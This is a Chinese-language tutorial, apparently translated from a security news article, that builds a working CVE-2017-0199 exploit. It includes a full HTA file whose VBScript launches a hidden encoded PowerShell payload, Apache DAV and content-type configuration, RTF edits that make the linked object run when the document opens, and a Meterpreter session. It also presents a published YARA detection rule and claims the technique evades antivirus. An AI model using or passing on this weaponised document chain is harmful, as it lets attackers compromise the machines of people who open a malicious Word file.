技術背景
我們可以將OLEv2鏈接包含在現有文檔中。 這些對象將反映加載到文檔中的源鏈接中的當前內容。
令人驚奇的是,如果嘗試將HTA鏈接包含為OLEv2對象,那么它將被執行一次(在創建時),但Winword將返回一個錯誤,如:
這種情況下出現的問題是,HTA文件將不會被持久化(為了使其持續,您必須將其鏈接到文件+創建圖標,但是我們想要它隱藏并擁有自動運行權限)
我開始通過思考如何處理不是惡意的OLE對象鏈接到遠程RTF文件…為了實現在“proper”Microsoft Office中的預期方式,我一點點修改在Apache中服務我的文件的內容類型和DAV模塊。
從那里開始,我將有一個有效的嵌入式對象鏈接,每次打開我的文檔后自動更新!
下一步?在HTA中用我的有效載荷修改來源的文檔
在這種情況下能夠:
– 為真正的RTF文件創建一個動態OLEv2對象鏈接
– 使用我的有效載荷修改源的RTF
– 如果我想創建一個直接鏈接到HTA文檔,則繞過產生的錯誤
另一個問題?OLE對象需要自動激活
步驟1?
準備一個HTA文件:(HTA文件是可以運行JScr??ipt和VBscript的HTML應用程序)
我們稱之為“?ms.hta?”
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<meta content=”text/html; charset=utf-8″ http-equiv=”Content-Type” />
<title>Bonjour</title>
<script language=”VBScript”>
Set owFrClN0giJ = CreateObject(“Wscript.Shell”)
Set v1ymUkaljYF = CreateObject(“Scripting.FileSystemObject”)
If v1ymUkaljYF.FileExists(owFrClN0giJ.ExpandEnvironmentStrings(“%PSModulePath%”) + “..\powershell.exe”) Then
owFrClN0giJ.Run “powershell.exe -nop -w hidden -e ENCODED_B64_SHELL”
End If
</script>
<hta:application
id=”oHTA”
applicationname=”Bonjour”
application=”yes”
>
</hta:application>
</head>
<div>
<object type=”text/html” data=”http://windows.microsoft.com/en-IN/windows7/products/features/windows-defender” width=”100%” height=”100%”>
</object></div>
<body>
</body>
</html>
步驟2
使用任意隨機內容的Winword創建一個簡單的RTF文檔。(在例子中,我使用字符串來作為我的內容)
命名為“?ms.rtf?”
步驟3
在已完全控制的網絡服務器上推送這2個文件。
我們假定它將被存儲在/ var / www / html中
現在我們必須配置Apache才能將ms.rtf作為一個鏈接
a2enmod dav
a2enmod dav_fs
a2enmod dav_lock
a2enmod headers
service apache2 restart
以下指令將:
– 將“Content-Type application / rtf”添加到/ ms中的所有文件中
– 允許Microsoft Office執行的PROPFIND請求
Modify virtualhost and include:
<Directory /var/www/html/ms/>
Header set Content-Type “application/rtf”
</Directory>
<Directory />
Dav on
</Directory>
service apache2 restart
步驟4
使用Winword“?exploit.rtf?”?創建一個簡單的RTF文檔。這將是我們的漏洞利用!
插入 – >對象
單擊確定后,您將獲得包含隨機字符串內容的“ms.rtf”文件。
將該文件保存為“?exploit.rtf?”
在這一步我們可以關閉Winword,并轉到下一步改變ms.rtf的內容與HTA有效載荷…
步驟5
以下步驟將:
– 更改自定義HTA有效載荷中包含的ms.rtf
– Web服務器將發送“application/hta”的內容類型…這將由Winword客戶端解析,它將運行mshta來處理這個內容類型并執行我們的有效載荷
cat /var/www/html/ms/ms.hta > /var/www/html/ms.rtf
vi /etc/apache2/sites-enables/000-default Change -> application/rtf to application/hta like: <Directory /var/www/html/ms/> Header set Content-Type "application/hta" </Directory>
service apache2 restart
步驟6
在這一步,如果用戶打開“exploit.rtf”文件,他必須雙擊鏈接對象來啟動攻擊…
如果我們想要在文檔打開時自動加載OLE對象,必須編輯exploit.rtf文件并更改至\ object \ objautlink \?objupdate?\ rsltpict …………………… ..
在這個步驟中,漏洞利用已經成功構建。
使用方法:
一旦用戶打開文檔,OLE對象通過鏈接進行更新,并且由于服務器提供的application/hta content-type執行ms.hta,OLE對象將通過鏈接來更新。這樣會得到執行代碼的結果。Meterpreter命令如下:
我們不用在乎警告,因為代碼已經在執行了…
使用當前AV /發布的YARA規則
從我的個人測試看來,這個方法目前還沒有被AV捕獲(Defender已經擁有CVE-2017-0199的簽名)此外,目前已發布的yara?規則與此漏洞利用率不匹配。
rule rtf_objdata_urlmoniker_http {
strings:
$header = “{\\rtf1”
$objdata = “objdata 0105000002000000” nocase
$urlmoniker = “E0C9EA79F9BACE118C8200AA004BA90B” nocase
$http = “68007400740070003a002f002f00” nocase
condition:
$header at 0 and $objdata and $urlmoniker and $http
}
確實,urlmoniker不匹配,將永遠不會觸發這個Yara規則。
文章來源:http://securityaffairs.co/wordpress/58077/breaking-news/cve-2017-0199-exploitation-poc.html